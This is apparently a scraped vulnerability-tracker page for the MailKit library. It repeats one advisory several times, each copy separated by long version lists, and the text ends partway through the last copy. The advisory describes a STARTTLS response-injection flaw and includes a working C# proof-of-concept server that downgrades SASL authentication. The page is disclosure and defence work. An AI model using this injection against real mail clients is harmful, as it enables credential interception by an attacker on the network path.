
            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jun 29, 2024

4.6.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

May 17, 2024

4.5.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Apr 13, 2024

4.4.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 02, 2024

4.3.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
